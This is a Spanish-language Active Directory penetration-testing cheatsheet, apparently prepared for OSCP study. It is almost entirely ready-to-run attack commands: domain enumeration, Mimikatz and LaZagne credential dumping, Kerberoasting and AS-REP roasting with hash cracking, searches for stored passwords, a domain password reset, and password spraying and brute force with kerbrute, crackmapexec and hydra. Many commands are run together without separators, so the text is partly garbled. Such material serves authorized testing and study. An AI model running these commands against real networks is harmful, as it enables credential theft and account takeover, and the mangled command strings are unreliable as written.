Active Directory
Recursos
Escaneo inicial
Escaneo de puertos conocidos a lista de hosts:
nmap -sT 21,22,23,25,53,80,88,135,161,389,445,8000,8080,3389,5985,3306,3307,1433,5432 -iL hosts.txt
Recopilación de información
Desde máquina Windows comprometida
01. Obtener Usuarios y Grupos
¿Qué usuarios pertenecen a grupos que permiten administración remota? (RDP, WinRM)
Con net:
net user /domainnet user <username> /domainnet group /domainnet group <groupname> /domain
PowerView:
Identificar objetos en Active Directory sobre los cuales el usuario tiene control total (GenericAll) y puede realizar acciones administrativas
Get-ObjectAcl -Identity "xerosec" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SIDnet user usuario nuevacontraseña /domain
Usuarios Kerberoastables
Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname
Máquinas en el dominio
Get-NetComputer -Properties samaccountname, samaccounttype, operatingsystem
Lista grupos
Get-NetGroup -Domain internal.msp.local | select name
Miembros de un grupo
Get-DomainGroupMember "Domain Admins" -Recurse
Desde la máquina de atacante
SMB
Con credenciales:
cme smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --userscrackmapexec smb $IP -u 'user' -p 'PASS' --rid-brutecrackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --groupscrackmapexec smb $IP -u 'user' -p 'PASS' --local-userscrackmapexec smb $IP -u 'Administrator' -p 'PASS' --local-auth --sam
LDAP
Con credenciales:
ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
RPC
Sin credenciales:
rpcclient -U "" -N $IP
Con credenciales:
rpcclient -U "dominino.tld/usuario%contraseña" $IP
02. Búsqueda de contraseñas
Desde máquina Windows comprometida
Cheatsheet de Mimikatz
Requiere permisos de administrador
privilege::debugtoken::elevatesekurlsa::logonpasswordsekeyscredmanwdigest
lsadump::samsecrets
.\\\\mimikatz.exe "token::elevate" "lsadump::secrets" exit
Lazagne (Mimikatz en esteróides)
lazagne.exe all
Rubeus
Requiere permisos de administrador
Kerberoasting
.\\\\Rubeus.exe kerberoast /outfile:hashes.kerberoastsudo hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt --force
AS-REP Roasting
.\\\\Rubeus.exe asreproast /nowrapsudo hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt --force
Credenciales almacenadas
Archivos de bases de datos
Get-ChildItem -Path C:\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinuekeepass2john Database.kdbx > Keepasshash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txtMover el archivo a
~/keepassy abrirlo con herramientas comokpcli
Historial de Powershell
Get-History(Get-PSReadlineOption).HistorySavePathtype %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt(Ejecutar para cada usuario)
Archivos interesantes
cmdkey /listEn el directorios “Users”:
Get-ChildItem -Path C:\\\\Users\\\\ -Include *.txt,*.log,*.xml,*.ini -File -Recurse -ErrorAction SilentlyContinueDesde la raíz:
Get-ChildItem -Path C:\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinuesysprep.*unattend.*Group Policiesgpp-decrypt <hash>
Desde la máquina de atacante
Bloodhound
bloodhound-python -u usuario -p 'contraseña' -d dominio.tld -ns IP_DC -c AllImportar lo archivos extraídos a Bloodhound
LDAP
ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'ldapsearch -x -H ldap://$IP -D 'usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
SMB
crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --sharescrackmapexec smb $IP -u 'user' -p 'PASS' --local-auth --sharescrackmapexec smb $IP -u 'user' -p 'PASS' --sessionscrackmapexec smb $IP -u 'user' -p 'PASS' --lusers
SNMP
sudo nmap -sU -p 161 --script snmp-brute $IPsudo nmap -sU -p 161 --script snmp-win32-users $IPonesixtyone -c /usr/share/doc/onesixtyone/dict.txt $IPsnmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjectssnmpwalk -v2c -c public $IP | grep <string>
Impacket
Kerberoasting
impacket-GetUserSPNs dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile hashes.kerb
AS-REP Roasting
impacket-GetNPUsers dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile dave.hash
03. Recopilación de información obtenida
Crear una lista de usuarios
Asegurarse de diferenciar usuarios "locales" y usuarios de "dominio"
Crear una lista de hashes y contraseñas o cualquier cosa que pueda ser una contraseña
domain_hashes.txtdomain_passwords.txt
Verificar la política de contraseñas para asegurarse de no bloquear cuentas
Desde máquina Windows comprometida:
net accounts /domainDesde máquina atacante:
cme smb 172.16.10.10 --pass-pol(Puede que necesite credenciales válidas)
Fuerza bruta de credenciales
Especificar con y sin dominio
Kerberos
Password Spray
kerbrute passwordspray -d dominio.tld users.txt password --dc IP_DC -vvv
Fuerza bruta
kerbrute bruteuser -d dominio.tld usuario passwords.txt --dc IP_DC -vvv
SMB
crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt -d dominio.tld --continue-on-successcrackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-successcrackmapexec smb <IP>(o lista de IPs) -u users.txt -H '<HASH>' --continue-on-successcrackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success --local-auth
RDP
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt rdp://<IP>:3389 -u -vV -T 40 -Ihydra -V -f -L users.txt -P passwords.txt rdp://<IP> -u -vV -T 40 -I
WinRM
evil-winrm -i <IP> -u usuario -p 'contraseña'evil-winrm -i <IP> -u usuario -H '<HASH>'
FTP
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt <ftp://<IP>:21> -u -vV -T 40 -I
SSH
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt ssh://<IP>:22 -u -vV -T 40 -I
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Fuente original: https://github.com/intotheewild/OSCP-Checklist
📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm
Última actualización